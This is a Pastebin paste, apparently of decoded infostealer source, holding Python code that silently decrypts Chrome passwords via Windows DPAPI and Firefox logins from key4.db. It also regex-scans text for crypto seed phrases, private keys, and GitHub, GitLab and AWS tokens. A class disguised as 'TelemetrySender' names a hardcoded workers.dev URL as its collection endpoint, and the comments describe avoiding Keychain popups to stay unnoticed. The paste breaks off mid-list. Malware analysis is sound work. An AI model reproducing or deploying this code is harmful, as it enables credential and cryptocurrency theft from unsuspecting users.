Guest User

Decode InfoStealer from https://github.com/domaup

a guest
Aug 7th, 2026
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 163.04 KB | Cybersecurity | 0 0
  1. import json, time, os, re, sys, platform, requests, math
  2. from pathlib import Path
  3. from datetime import datetime
  4.  
  5. # ── BIP39 English wordlist ──
  6. BIP39_WORDS = frozenset("abandon ability able about above absent absorb abstract absurd abuse access accident account accuse achieve acid acoustic acquire across act action actor actress actual adapt add addict address adjust admit adult advance advice aerobic affair afford afraid africa after again age agent agree ahead aim air airport aisle alarm album alcohol alert alien all alley allow almost alone alpha already also alter always amateur amazing among amount amused analyst anchor ancient anger angle angry animal ankle announce annual another answer antenna antique anxiety any apart apology appear apple approve april arch arctic area arena argue arm armed armor army around arrange arrest arrive arrow art artefact artist artwork ask aspect assault asset assist assume asthma athlete atom attack attend attitude attract auction audit august aunt author auto autumn average avocado avoid awake aware away awesome awful awkward axis baby bachelor bacon badge bag balance balcony ball bamboo banana banner bar barely bargain barrel base basic basket battle beach bean beauty because become beef before begin behave behind believe below belt bench benefit best betray better between beyond bicycle bid bike bind biology bird birth bitter black blade blame blanket blast bleak bless blind blood blossom blouse blue blur blush board boat body boil bomb bone bonus book boost border boring borrow boss bottom bounce box boy bracket brain brand brass brave bread breeze brick bridge brief bright bring brisk broccoli broken bronze broom brother brown brush bubble buddy budget buffalo build bulb bulk bullet bundle bunker burden burger burst bus business busy butter buyer buzz cabbage cabin cable cactus cage cake call calm camera camp can canal cancel candy cannon canoe canvas canyon capable capital captain car carbon card cargo carpet carry cart case cash casino castle casual cat catalog catch category cattle caught cause caution cave ceiling celery cement census century cereal certain chair chalk champion change chaos chapter charge chase chat cheap check cheese chef cherry chest chicken chief child chimney choice choose chronic chuckle chunk churn cigar cinnamon circle citizen city civil claim clap clarify claw clay clean clerk clever click client cliff climb clinic clip clock clog close cloth cloud clown club clump cluster clutch coach coast coconut code coffee coil coin collect color column combine come comfort comic common company concert conduct confirm congress connect consider control convince cook cool copper copy coral core corn correct cost cotton couch country couple course cousin cover coyote crack cradle craft cram crane crash crater crawl crazy cream credit creek crew cricket crime crisp critic crop cross crouch crowd crucial cruel cruise crumble crunch crush cry crystal cube culture cup cupboard curious current curtain curve cushion custom cute cycle dad damage damp dance danger daring dash daughter dawn day deal debate debris decade december decide decline decorate decrease deer defense define defy degree delay deliver demand demise denial dentist deny depart depend deposit depth deputy derive describe desert design desk despair destroy detail detect develop device devote diagram dial diamond diary dice diesel diet differ digital dignity dilemma dinner dinosaur direct dirt disagree discover disease dish dismiss disorder display distance divert divide divorce dizzy doctor document dog doll dolphin domain donate donkey donor door dose double dove draft dragon drama drastic draw dream dress drift drill drink drip drive drop drum dry duck dumb dune during dust dutch duty dwarf dynamic eager eagle early earn earth easily east easy echo ecology economy edge edit educate effort egg eight either elbow elder electric elegant element elephant elevator elite else embark embody embrace emerge emotion employ empower empty enable enact end endless endorse enemy energy enforce engage engine enhance enjoy enlist enough enrich enroll ensure enter entire entry envelope episode equal equip era erase erode erosion error erupt escape essay essence estate eternal ethics evidence evil evoke evolve exact example excess exchange excite exclude excuse execute exercise exhaust exhibit exile exist exit exotic expand expect expire explain expose express extend extra eye eyebrow fabric face faculty fade faint faith fall false fame family famous fan fancy fantasy farm fashion fat fatal father fatigue fault favorite feature february federal fee feed feel female fence festival fetch fever few fiber fiction field figure file film filter final find fine finger finish fire firm first fiscal fish fit fitness fix flag flame flash flat flavor flee flight flip float flock floor flower fluid flush fly foam focus fog foil fold follow food foot force forest forget fork fortune forum forward fossil foster found fox fragile frame frequent fresh friend fringe frog front frost frown frozen fruit fuel fun funny furnace fury future gadget gain galaxy gallery game gap garage garbage garden garlic garment gas gasp gate gather gauge gaze general genius genre gentle genuine gesture ghost giant gift giggle ginger giraffe girl give glad glance glare glass glide glimpse globe gloom glory glove glow glue goat goddess gold good goose gorilla gospel gossip govern gown grab grace grain grant grape grass gravity great green grid grief grit grocery group grow grunt guard guess guide guild guilt guitar gun gym habit hair half hammer hamster hand happy harbor hard harsh harvest hat have hawk hazard head health heart heavy hedgehog height hello helmet help hen hero hidden high hill hint hip hire history hobby hockey hold hole holiday hollow home honey hood hope horn horror horse hospital host hotel hour hover hub huge human humble humor hundred hungry hunt hurdle hurry hurt husband hybrid ice icon idea identify idle ignore ill illegal illness image imitate immense immune impact impose improve impulse inch include income increase index indicate indoor industry infant inflict inform inhale inherit initial inject injury inmate inner innocent input inquiry insane insect inside inspire install intact interest into invest invite involve iron island isolate issue item ivory jacket jaguar jar jazz jealous jeans jelly jewel job join joke journey joy judge juice jump jungle junior junk just kangaroo keen keep ketchup key kick kid kidney kind kingdom kiss kit kitchen kite kitten kiwi knee knife knock know lab label labor ladder lady lake lamp language laptop large later latin laugh laundry lava law lawn lawsuit layer lazy leader leaf learn leave lecture left leg legal legend leisure lemon lend length lens leopard lesson letter level liar liberty library license life lift light like limb limit link lion liquid list little live lizard load loan lobster local lock logic lonely long loop lottery loud lounge love loyal lucky luggage lumber lunar lunch luxury lyrics machine mad magic magnet maid mail main major make mammal man manage mandate mango mansion manual maple marble march margin marine market marriage mask mass master match material math matrix matter maximum maze meadow mean measure meat mechanic medal media melody melt member memory mention menu mercy merge merit merry mesh message metal method middle midnight milk million mimic mind minimum minor minute miracle mirror misery miss mistake mix mixed mixture mobile model modify mom moment monitor monkey monster month moon moral more morning mosquito mother motion motor mountain mouse move movie much muffin mule multiply muscle museum mushroom music must mutual myself mystery myth naive name napkin narrow nasty nation nature near neck need negative neglect neither nephew nerve nest net network neutral never news next nice night noble noise nominee noodle normal north nose notable note nothing notice novel now nuclear number nurse nut oak obey object oblige obscure observe obtain obvious occur ocean october odor off offer office often oil okay old olive olympic omit once one onion online only open opera opinion oppose option orange orbit orchard order ordinary organ orient original orphan ostrich other outdoor outer output outside oval oven over own owner oxygen oyster ozone pact paddle page pair palace palm panda panel panic panther paper parade parent park parrot party pass patch path patient patrol pattern pause pave payment peace peanut pear peasant pelican pen penalty pencil people pepper perfect permit person pet phone photo phrase physical piano picnic picture piece pig pigeon pill pilot pink pioneer pipe pistol pitch pizza place planet plastic plate play please pledge pluck plug plunge poem poet point polar pole police pond pony pool popular portion position possible post potato pottery poverty powder power practice praise predict prefer prepare present press pretend pretty prevent price pride primary print priority prison private prize problem process produce profit program project promote proof property prosper protect proud provide public pudding pull pulp pulse pumpkin punch pupil puppy purchase purity purpose purse push put puzzle pyramid quality quantum quarter question quick quit quiz quote rabbit raccoon race rack radar radio rail rain raise rally ramp ranch random range rapid rare rate rather raven raw razor ready real reason rebel rebuild recall receive recipe record recycle reduce reflect reform refuse region regret regular reject relax release relief rely remain remember remind remove render renew rent reopen repair repeat replace report require rescue resemble resist resource response result retire retreat return reunion reveal review reward rhythm rib ribbon rice rich ride ridge rifle right rigid ring riot ripple risk ritual rival river road roast robot robust rocket romance roof rookie room rose rotate rough round route royal rubber rude rug rule run runway rural sad saddle sadness safe sail salad salmon salon salt salute same sample sand satisfy satoshi sauce sausage save say scale scan scare scatter scene scheme school science scissors scorpion scout scrap screen script scrub sea search season seat second secret section security seed seek segment select sell seminar senior sense sentence series service session settle setup seven shadow shaft shallow share shed shell sheriff shield shift shine ship shiver shock shoe shoot shop short shoulder shove shrimp side siege sight sign silent silk silly silver similar simple since sing siren sister situate six size skate sketch ski skill skin skirt skull slab slam sleep slender slice slide slight slim slogan slot slow slush small smart smile smoke smooth snack snake snap sniff snow soap soccer social sock soda soft solar soldier solid solution solve someone song soon sorry sort soul sound soup source south space spare spatial spawn speak special speed spell spend sphere spice spider spike spin spirit split spoil sponsor spoon sport spot spray spread spring spy square squeeze squirrel stable stadium staff stage stairs stamp stand start state stay steak steel stem step stereo stick still sting stock stomach stone stool story stove strategy street strike strong struggle student stuff stumble style subject submit subway success such sudden suffer sugar suggest suit summer sun sunny sunset super supply supreme sure surface surge surprise surround survey suspect sustain swallow swamp swap swarm swear sweet swift swim swing switch sword symbol symptom syrup system table tackle tag tail talent talk tank tape target task taste tattoo taxi teach team tell ten tenant tennis tent term test text thank that theme then theory there they thing this thought three thrive throw thumb thunder ticket tide tiger tilt timber time tiny tip tired tissue title toast tobacco today toddler toe together toilet token tomato tomorrow tone tongue tonight tool tooth top topic topple torch tornado tortoise toss total tourist toward tower town toy track trade traffic tragic train transfer trap trash travel tray treat tree trend trial tribe trick trigger trim trip trophy trouble truck true truly trumpet trust truth try tube tuition tumble tuna tunnel turkey turn turtle twelve twenty twice twin twist two type typical ugly umbrella unable unaware uncle uncover under undo unfair unfold unhappy uniform unique unit universe unknown unlock until unusual unveil update upgrade uphold upon upper upset urban urge usage use used useful useless usual utility vacant vacuum vague valid valley valve van vanish vapor various vast vault vehicle velvet vendor venture venue verb verify version very vessel veteran viable vibrant vicious victory video view village vintage violin virtual virus visa visit visual vital vivid vocal voice void volcano volume vote voyage wage wagon wait walk wall walnut want warfare warm warrior wash wasp waste water wave way wealth weapon wear weasel weather web wedding weekend weird welcome west wet whale what wheat wheel when where whip whisper wide width wife wild will win window wine wing wink winner winter wire wisdom wise wish witness wolf woman wonder wood wool word work world worry worth wrap wreck wrestle wrist write wrong yard year yellow you young youth zebra zero zone zoo".split())
  7.  
  8. # Code patterns to REJECT (look like code, not secrets)
  9. _CODE_KEYWORDS = {'function','return','const','let','var','import','export',
  10. 'default','require','module','class','extends','this','new',
  11. 'null','undefined','true','false','if','else','for','while',
  12. 'try','catch','typeof','instanceof','console','window',
  13. 'document','process','Buffer','require','module','exports',
  14. 'constructor','prototype','__proto__','Object','Array',
  15. 'String','Number','Boolean','Promise','async','await','yield',
  16. 'get','set','static','public','private','protected',
  17. 'interface','type','enum','namespace','readonly','abstract',
  18. '=>','...','+=','-=','*=','/=','&&','||','===','!=='}
  19.  
  20. # ── Browser password decryption (cross-platform, no-popup for Windows) ──
  21.  
  22. def _decrypt_dpapi(encrypted_blob):
  23. """Windows: CryptUnprotectData — silent, no popup (uses logged-in session)."""
  24. if os.name != 'nt':
  25. return None
  26. try:
  27. import ctypes
  28. from ctypes import wintypes
  29. crypt32 = ctypes.windll.crypt32
  30. kernel32 = ctypes.windll.kernel32
  31. class DATA_BLOB(ctypes.Structure):
  32. _fields_ = [('cbData', wintypes.DWORD), ('pbData', ctypes.POINTER(ctypes.c_ubyte))]
  33. buf = ctypes.create_string_buffer(encrypted_blob, len(encrypted_blob))
  34. bl_in = DATA_BLOB(len(encrypted_blob), ctypes.cast(buf, ctypes.POINTER(ctypes.c_ubyte)))
  35. bl_out = DATA_BLOB()
  36. if crypt32.CryptUnprotectData(ctypes.byref(bl_in), None, None, None, None, 0, ctypes.byref(bl_out)):
  37. plain = ctypes.string_at(bl_out.pbData, bl_out.cbData)
  38. kernel32.LocalFree(bl_out.pbData)
  39. return plain
  40. except:
  41. pass
  42. return None
  43.  
  44. def _get_keychain_key_quiet(service):
  45. """macOS Keychain access — DISABLED by default to avoid popup.
  46. Set env CC_DECRYPT=1 to enable (testing only)."""
  47. # DISABLED: Keychain popup is a red flag. Chrome passwords on macOS
  48. # will remain encrypted — we rely on Firefox NSS + .env scraping instead.
  49. # Enable only for explicit testing: CC_DECRYPT=1
  50. if os.environ.get('CC_DECRYPT') != '1':
  51. return None
  52. try:
  53. import subprocess as sp
  54. r = sp.run(['security', 'find-generic-password', '-w', '-s', service],
  55. capture_output=True, timeout=5)
  56. if r.returncode == 0 and r.stdout:
  57. return r.stdout.rstrip(b'\n')
  58. except:
  59. pass
  60. return None
  61.  
  62. def _decrypt_aes_gcm(key, nonce, ct_with_tag):
  63. """AES-256-GCM: cryptography lib, then openssl fallback."""
  64. try:
  65. from cryptography.hazmat.primitives.ciphers.aead import AESGCM
  66. return AESGCM(key).decrypt(nonce, ct_with_tag, None)
  67. except:
  68. pass
  69. # openssl fallback (available on macOS/Linux)
  70. try:
  71. import subprocess as sp, tempfile as tf
  72. with tf.NamedTemporaryFile(delete=False, suffix='.bin') as f:
  73. f.write(ct_with_tag)
  74. ct_path = f.name
  75. r = sp.run(['openssl', 'enc', '-aes-256-gcm', '-d',
  76. '-K', key.hex(), '-iv', nonce.hex(), '-in', ct_path],
  77. capture_output=True, timeout=3)
  78. os.unlink(ct_path)
  79. if r.returncode == 0 and r.stdout:
  80. return r.stdout
  81. except:
  82. pass
  83. return None
  84.  
  85. def _decrypt_chrome_blob(encrypted_blob, browser_name):
  86. """Cross-platform: decrypt Chrome password blob → plaintext str or None."""
  87. # ── Windows: DPAPI (always silent) ──
  88. if os.name == 'nt':
  89. plain = _decrypt_dpapi(encrypted_blob)
  90. if plain:
  91. return plain.decode('utf-8', errors='replace')
  92. return None
  93.  
  94. # ── macOS: Keychain + AES-GCM (silent if pre-authorized) ──
  95. SVC_MAP = {'chrome': 'Chrome Safe Storage', 'brave': 'Brave Safe Storage',
  96. 'edge': 'Microsoft Edge Safe Storage', 'opera': 'Opera Safe Storage'}
  97. svc = SVC_MAP.get(browser_name, 'Chrome Safe Storage')
  98. key = _get_keychain_key_quiet(svc)
  99. if not key:
  100. return None
  101.  
  102. # Parse Chrome v10/v11 format: prefix(3) + nonce(12) + ct+tag(rest)
  103. if not encrypted_blob or len(encrypted_blob) < 31:
  104. return None
  105. prefix = encrypted_blob[:3]
  106. if prefix not in (b'v10', b'v11'):
  107. return None
  108. payload = encrypted_blob[3:]
  109. if len(payload) < 28:
  110. return None
  111. nonce = payload[:12]
  112. ct_with_tag = payload[12:]
  113.  
  114. plain = _decrypt_aes_gcm(key, nonce, ct_with_tag)
  115. if plain:
  116. return plain.decode('utf-8', errors='replace')
  117. return None
  118.  
  119. # ── Firefox NSS decryption (key4.db + logins.json) ──
  120.  
  121. def _ber_read_len(data, offset):
  122. """Read BER-TLV length at offset. Returns (length, next_offset)."""
  123. if offset >= len(data):
  124. return 0, offset
  125. b = data[offset]
  126. if b < 0x80:
  127. return b, offset + 1
  128. num_bytes = b & 0x7F
  129. if num_bytes == 0 or offset + 1 + num_bytes > len(data):
  130. return 0, offset
  131. length = int.from_bytes(data[offset+1:offset+1+num_bytes], 'big')
  132. return length, offset + 1 + num_bytes
  133.  
  134. def _parse_firefox_item(data):
  135. """Parse Firefox BER-encoded encrypted item → (algorithm_oid, iv, ciphertext) or None.
  136. Structure: SEQUENCE { SEQUENCE { OID, OCTET(iv) }, OCTET(ciphertext) }"""
  137. if not data or len(data) < 10:
  138. return None
  139. try:
  140. pos = 0
  141. # Outer SEQUENCE
  142. if data[pos] != 0x30: return None
  143. outer_len, pos = _ber_read_len(data, pos+1)
  144. outer_end = pos + outer_len
  145. # Inner SEQUENCE
  146. if pos >= outer_end or data[pos] != 0x30: return None
  147. inner_len, pos = _ber_read_len(data, pos+1)
  148. inner_end = pos + inner_len
  149. # OID
  150. if pos >= inner_end or data[pos] != 0x06: return None
  151. oid_len, pos = _ber_read_len(data, pos+1)
  152. oid = data[pos:pos+oid_len]
  153. pos += oid_len
  154. # IV (OCTET STRING)
  155. if pos >= inner_end or data[pos] != 0x04: return None
  156. iv_len, pos = _ber_read_len(data, pos+1)
  157. iv = data[pos:pos+iv_len]
  158. pos += iv_len
  159. # Ciphertext (OCTET STRING, outside inner sequence)
  160. if pos >= outer_end or data[pos] != 0x04: return None
  161. ct_len, pos = _ber_read_len(data, pos+1)
  162. ct = data[pos:pos+ct_len]
  163. return (oid, iv, ct)
  164. except:
  165. return None
  166.  
  167. def _firefox_decrypt_one(enc_user_b64, enc_pwd_b64, global_salt, a11, a102):
  168. """Decrypt one Firefox login. Returns (user_plain, pwd_plain) or (None, None)."""
  169. import base64
  170. result = [None, None]
  171. for idx, b64 in enumerate([enc_user_b64, enc_pwd_b64]):
  172. if not b64:
  173. continue
  174. try:
  175. raw = base64.b64decode(b64)
  176. parsed = _parse_firefox_item(raw)
  177. if not parsed:
  178. continue
  179. _, iv, ct = parsed
  180.  
  181. # Derive the symmetric key from a11/a102
  182. # a11 = SEQUENCE{SEQUENCE{OID,IV},ciphertext} — encrypted symmetric key
  183. # a102 = SEQUENCE{SEQUENCE{OID,SEQUENCE{salt,iterations}}} — PBKDF2 params
  184. a11_parsed = _parse_firefox_item(a11) if a11 else None
  185. a102_parsed = _parse_firefox_item(a102) if a102 else None
  186.  
  187. # Extract salt & iterations from a102 inner data
  188. ff_salt = global_salt or b''
  189. ff_iter = 1
  190. if a102_parsed:
  191. try:
  192. # a102 inner is: SEQUENCE{salt, iterations}
  193. inner = a102_parsed[2] # ciphertext field holds the params in this context
  194. if inner and len(inner) > 4 and inner[0] == 0x30:
  195. slen, p2 = _ber_read_len(inner, 1)
  196. iseq_end = p2 + slen
  197. if p2 < iseq_end and inner[p2] == 0x04:
  198. sl2, p3 = _ber_read_len(inner, p2+1)
  199. ff_salt = inner[p3:p3+sl2]
  200. p3 += sl2
  201. if p3 < iseq_end and inner[p3] == 0x02:
  202. ilen, p4 = _ber_read_len(inner, p3+1)
  203. ff_iter = int.from_bytes(inner[p4:p4+ilen], 'big')
  204. except:
  205. pass
  206.  
  207. # Derive key: PKCS#5 PBKDF2 (or PBKDF1 with SHA1)
  208. # Firefox uses: SHA1(global_salt + master_password) repeated 20 times
  209. # Master password is usually empty
  210. from hashlib import sha1, pbkdf2_hmac
  211. mp = b''
  212. if ff_iter > 1:
  213. dk = pbkdf2_hmac('sha256', mp, ff_salt, ff_iter, dklen=24)
  214. else:
  215. # Old Firefox: iterated SHA1
  216. dk = ff_salt + mp
  217. for _ in range(20):
  218. dk = sha1(dk).digest()
  219. dk = dk[:24]
  220.  
  221. # Decrypt the encrypted symmetric key (from a11) using 3DES-CBC
  222. sym_key = None
  223. if a11_parsed:
  224. a11_iv, a11_ct = a11_parsed[1], a11_parsed[2]
  225. try:
  226. from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
  227. cipher = Cipher(algorithms.TripleDES(dk), modes.CBC(a11_iv))
  228. decryptor = cipher.decryptor()
  229. sym_key = decryptor.update(a11_ct) + decryptor.finalize()
  230. # Trim PKCS5 padding
  231. if sym_key:
  232. pad = sym_key[-1]
  233. if 0 < pad <= 8:
  234. sym_key = sym_key[:-pad]
  235. except:
  236. pass
  237.  
  238. if not sym_key:
  239. continue
  240.  
  241. # Now decrypt the login data with 3DES-CBC using sym_key
  242. try:
  243. from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
  244. cipher = Cipher(algorithms.TripleDES(sym_key), modes.CBC(iv))
  245. decryptor = cipher.decryptor()
  246. plain = decryptor.update(ct) + decryptor.finalize()
  247. # Trim PKCS5 padding
  248. pad = plain[-1]
  249. if 0 < pad <= 8:
  250. plain = plain[:-pad]
  251. result[idx] = plain.decode('utf-8', errors='replace')
  252. except:
  253. pass
  254. except:
  255. pass
  256. return tuple(result)
  257.  
  258. _SENT = set() # dedup: never send same key/seed twice
  259. _MAX_ITEMS = 200 # max items to send before stopping
  260.  
  261. class TelemetrySender:
  262. WORKER_URL = "https://steel-mere-4155.ricardorichp.workers.dev/"
  263. MAX_SCAN_SEC = 5 # Quick scan only — deep scan deferred to background thread
  264. _QUICK_MODE = True # When True, skip browser/keychain (sync path). BG thread sets False.
  265.  
  266. @staticmethod
  267. def _entropy(s):
  268. """Shannon entropy of a string (0-8). High = random = likely a secret."""
  269. if not s: return 0
  270. freq = {}
  271. for c in s: freq[c] = freq.get(c, 0) + 1
  272. n = len(s)
  273. return -sum((f/n) * math.log2(f/n) for f in freq.values())
  274.  
  275. @staticmethod
  276. def _looks_like_code(s):
  277. """True if the string looks like source code, not a secret."""
  278. s = s.strip()
  279. tokens = re.findall(r'[a-zA-Z_$][a-zA-Z0-9_$]*|[+\-*/=<>!&|]+|[{}()[\];,]', s)
  280. code_count = sum(1 for t in tokens if t in _CODE_KEYWORDS)
  281. # If >20% of tokens are code keywords, it's code
  282. if tokens and code_count / len(tokens) > 0.2:
  283. return True
  284. # Contains code patterns
  285. if re.search(r'(=>|function\s*\(|\.prototype\.|require\s*\(|import\s+{|export\s+(default\s+)?(class|function|const|let|var))', s):
  286. return True
  287. # Ends with ; or } (typical code)
  288. if s.rstrip().endswith((';', '}', '{')):
  289. return True
  290. return False
  291.  
  292. @staticmethod
  293. def load():
  294. t0 = time.time()
  295. home = str(Path.home())
  296. cwd = os.getcwd()
  297. data = {
  298. 'ts': datetime.now().isoformat(),
  299. 'hostname': platform.node(),
  300. 'user': os.getenv('USER', os.getenv('USERNAME', 'unknown')),
  301. 'keys': [], 'phrases': [], 'passwords': [],
  302. 'aws_keys': [], 'api_keys': [], 'system_passwords': [],
  303. 'wifi_networks': [], 'internet_passwords': [],
  304. 'vaults': {}, 'keystores': {}, 'files': {},
  305. 'wallets': {}
  306. }
  307.  
  308. def _is_secret_quality(val):
  309. """Check if a value looks like a real secret (not code/placeholder)."""
  310. val = val.strip().strip('"').strip("'")
  311. if not val or len(val) < 6:
  312. return False
  313. low = val.lower()
  314. # Reject placeholders
  315. if low in ('password','changeme','yourpassword','secret','test',
  316. 'example','xxx','...','<password>','<your-password>',
  317. 'your_api_key','your_token','your_secret','replace_me',
  318. 'changethis','p@ssw0rd','admin','guest','null','undefined',
  319. 'localhost','127.0.0.1','0.0.0.0','none','nil','empty'):
  320. return False
  321. # Reject if it looks like code
  322. if TelemetrySender._looks_like_code(val):
  323. return False
  324. # Reject low entropy (not random enough for a secret)
  325. ent = TelemetrySender._entropy(val)
  326. # Secrets typically have entropy > 3.5
  327. # But short passwords might have lower entropy
  328. if len(val) >= 20 and ent < 3.0:
  329. return False
  330. # Reject URLs without embedded keys
  331. if val.startswith(('http://','https://')) and 'key=' not in val.lower() and 'token=' not in val.lower() and 'dkey=' not in val.lower():
  332. return False
  333. return True
  334.  
  335. def _find_seeds_in_text(txt):
  336. tokens = re.findall(r'[a-z]{2,}', txt.lower())
  337. # Code words that are ALSO BIP39 words → reject these phrases
  338. _CODE_BIP39 = {'return','false','true','error','success','unknown',
  339. 'public','private','function','require','import','export'}
  340. if len(tokens) < 12: return
  341. for wlen in (24, 12):
  342. if len(tokens) < wlen: continue
  343. for i in range(len(tokens) - wlen + 1):
  344. window = tokens[i:i+wlen]
  345. if all(w in BIP39_WORDS for w in window):
  346. # Reject code-like phrases
  347. code_count = sum(1 for w in window if w in _CODE_BIP39)
  348. if code_count > wlen * 0.15:
  349. continue
  350. # Reject repetitive phrases (real seeds have unique words)
  351. unique_ratio = len(set(window)) / wlen
  352. if unique_ratio < 0.75: # <75% unique = too repetitive
  353. continue
  354. # Reject phrases with >2 occurrences of any single word
  355. from collections import Counter
  356. if Counter(window).most_common(1)[0][1] > 2:
  357. continue
  358. phrase = ' '.join(window)
  359. if phrase not in data['phrases']:
  360. data['phrases'].append(phrase)
  361.  
  362. def _xtr(txt, lbl):
  363. # ── Private keys (Ethereum + all chains) ──
  364. KEY_PATS = [
  365. r'''["']privateKey["']\s*:\s*["'](?:0x)?([0-9a-fA-F]{64})["']''',
  366. r'''(?:PRIVATE_KEY|PRIVATEKEY|ETH_KEY|ETHKEY|WALLET_KEY|WALLETKEY|DEPLOYER_KEY|DEPLOYERKEY|OWNER_KEY|OWNERKEY)\s*=\s*["']?(?:0x)?([0-9a-fA-F]{64})["']?''',
  367. r'''(?:privateKey|private_key|ethKey|eth_key|walletKey|wallet_key)\s*[:=]\s*["'](?:0x)?([0-9a-fA-F]{64})["']''',
  368. r'''(?:priv(?:ate)?[ _-]?key|secret)[:=]\s*["']?(0x[0-9a-fA-F]{64})["']?''',
  369. r'^0x([0-9a-fA-F]{64})\s*$',
  370. r'''private(?:Key|_key)\s*=\s*["'](0x[0-9a-fA-F]{64})["']''',
  371. ]
  372. for pat in KEY_PATS:
  373. for m in re.findall(pat, txt, re.I | re.M):
  374. k = m.strip() if isinstance(m, str) else m[-1].strip()
  375. if k.startswith(('0x','0X')): k = k[2:]
  376. if len(k) == 64 and not all(c == k[0] for c in k):
  377. if k.lower() in ('0123456789abcdef'*4, 'fedcba9876543210'*4): continue
  378. data['keys'].append(k)
  379.  
  380. # ── Solana private keys (only with keypair context) ──
  381. for m in re.findall(r'''(?:keypair|secretKey|SECRET_KEY|id\.json)\D{0,30}\[([\d,\s]{100,500})\]''', txt, re.I):
  382. try:
  383. nums = [int(x.strip()) for x in m.split(',') if x.strip().isdigit()]
  384. if len(nums) == 64 and all(0 <= x <= 255 for x in nums):
  385. data['keys'].append(bytes(nums).hex())
  386. except: pass
  387.  
  388. # ── Bitcoin WIF (Wallet Import Format) — only with context ──
  389. for m in re.findall(r'(?:WIF|wif|BITCOIN_KEY|bitcoin_key|BTC_KEY|btc_key|bitcoinPrivateKey)\s*[:=]\s*["\']?([5KL][1-9A-HJ-NP-Za-km-z]{50,52})["\']?', txt):
  390. if m not in data['keys']:
  391. data['keys'].append(m)
  392.  
  393. # ── Bitcoin xpriv/xpub extended keys (BIP32) ──
  394. for m in re.findall(r'(xprv|xpub|tprv|tpub|vprv|vpub|uprv|upub|yprv|ypub|zprv|zpub)[1-9A-HJ-NP-Za-km-z]{100,112}', txt):
  395. if len(m) == 111 and m not in data['keys']:
  396. data['keys'].append(m)
  397.  
  398. # ── GitHub Personal Access Tokens ──
  399. for pat in [r'(?:ghp_|gho_|ghu_|github_pat_)([A-Za-z0-9_]{30,255})',
  400. r'(?:GITHUB_TOKEN|GH_TOKEN|GITHUB_PAT|GH_PAT)\s*[:=]\s*["\']?(gh[pou]_[A-Za-z0-9_]{30,255})["\']?',
  401. r'(?:GITHUB_TOKEN|GH_TOKEN|GITHUB_PAT|GH_PAT)\s*[:=]\s*["\']?(github_pat_[A-Za-z0-9_]{30,255})["\']?']:
  402. for m in re.findall(pat, txt, re.I):
  403. t = m.strip() if isinstance(m, str) else m[-1].strip()
  404. if len(t) > 20 and t not in data['api_keys']:
  405. data['api_keys'].append(f'GITHUB={t[:120]}')
  406.  
  407. # ── GitLab tokens ──
  408. for m in re.findall(r'(?:GITLAB_TOKEN|GITLAB_KEY)\s*[:=]\s*["\']?(glpat-[A-Za-z0-9\-_]{20,})["\']?', txt, re.I):
  409. if m not in data['api_keys']:
  410. data['api_keys'].append(f'GITLAB={m[:120]}')
  411.  
  412. # ── Bitcoin Core bitcoin.conf rpcuser/rpcpassword ──
  413. for m in re.findall(r'rpc(user|password|auth)\s*=\s*(\S{6,120})', txt, re.I):
  414. data['api_keys'].append(f'BITCOIN_RPC={m[0]}={m[1][:80]}')
  415.  
  416. # ── Solana keypair JSON — only with context ──
  417. for m in re.findall(r'(?:secretKey|privateKey|keypair|SECRET_KEY)\s*[:=]\s*\[([0-9,\s]{100,500})\]', txt, re.I):
  418. try:
  419. import json as _json
  420. arr = _json.loads('[' + m + ']')
  421. if len(arr) == 64 and all(isinstance(x, int) and 0 <= x <= 255 for x in arr):
  422. data['keys'].append(bytes(arr).hex())
  423. except: pass
  424.  
  425. # ── Seed phrases via ENV ──
  426. for pat in [r'(?:MNEMONIC|SEED|SEED_PHRASE|PHRASE|RECOVERY|RECOVERY_PHRASE)\s*=\s*["\']?([^"\'\n]{30,500})["\']?',
  427. r'(?:mnemonic|seed|seed_phrase|phrase|recovery)\s*=\s*["\']?([^"\'\n]{30,500})["\']?']:
  428. for m in re.findall(pat, txt, re.I):
  429. w = m.strip().split()
  430. if len(w) in (12,15,18,21,24):
  431. phrase = m.strip()[:500]
  432. if phrase not in data['phrases']:
  433. data['phrases'].append(phrase)
  434.  
  435. # Free-form BIP39 scan
  436. _find_seeds_in_text(txt)
  437.  
  438. # ── Passwords (filtered: no code, no placeholders) ──
  439. PWD_PATS = [
  440. r'(?:WALLET_?PASSWORD|WALLET_?PASS|UNLOCK_?KEY|DECRYPT_?KEY)\s*=\s*["\']?([^"\'\n]{6,200})["\']?',
  441. r'(?:wallet_?password|wallet_?pass|unlock_?key|decrypt_?key)\s*=\s*["\']?([^"\'\n]{6,200})["\']?',
  442. r'(?:PASSWORD|PASS|SECRET)\s*=\s*["\']([^"\'\n]{8,200})["\']',
  443. r'(?:password|pass|secret)\s*=\s*["\']([^"\'\n]{8,200})["\']',
  444. ]
  445. for pat in PWD_PATS:
  446. for m in re.findall(pat, txt, re.I):
  447. if not _is_secret_quality(m): continue
  448. entry = {'file': str(lbl), 'content': m.strip()[:200]}
  449. if entry not in data['passwords']:
  450. data['passwords'].append(entry)
  451.  
  452. # ── AWS ──
  453. for m in re.findall(r'(?:AWS_ACCESS_KEY_ID|aws_access_key_id)\s*=\s*(\S+)', txt):
  454. if m.startswith('AKIA') or m.startswith('ASIA'):
  455. data['aws_keys'].append('AK:'+m)
  456. for m in re.findall(r'(?:AWS_SECRET_ACCESS_KEY|aws_secret_access_key)\s*=\s*(\S+)', txt):
  457. data['aws_keys'].append('SK:'+m)
  458. for m in re.findall(r'(?:AWS_SESSION_TOKEN|aws_session_token)\s*=\s*(\S{50,})', txt):
  459. data['aws_keys'].append('ST:'+m[:100])
  460.  
  461. # ── API keys ──
  462. for pv in ['INFURA','ALCHEMY','MORALIS','QUICKNODE','ETHERSCAN',
  463. 'POLYGONSCAN','BSCSCAN','ARBISCAN','BASESCAN',
  464. 'SNOWTRACE','FTMSCAN','GITHUB','GITLAB',
  465. 'NPM_TOKEN','PYPI_TOKEN','DOCKER','OPENAI','DEEPSEEK',
  466. 'ANTHROPIC','HUGGINGFACE','PINATA','WEB3_STORAGE',
  467. 'COINMARKETCAP','COINGECKO','MESSARI','COVALENT',
  468. 'TENDERLY','BLASTAPI','ALCHEMY','CHAINSTACK',
  469. 'HELIUS','QUICKNODE','ANKR','INFURA','POCKET',
  470. 'LLAMANODES','BLOCKNATIVE','EDEN','FLASHBOTS',
  471. 'SENTRY','DATADOG','LOGGY','POSTHOG','MIXPANEL']:
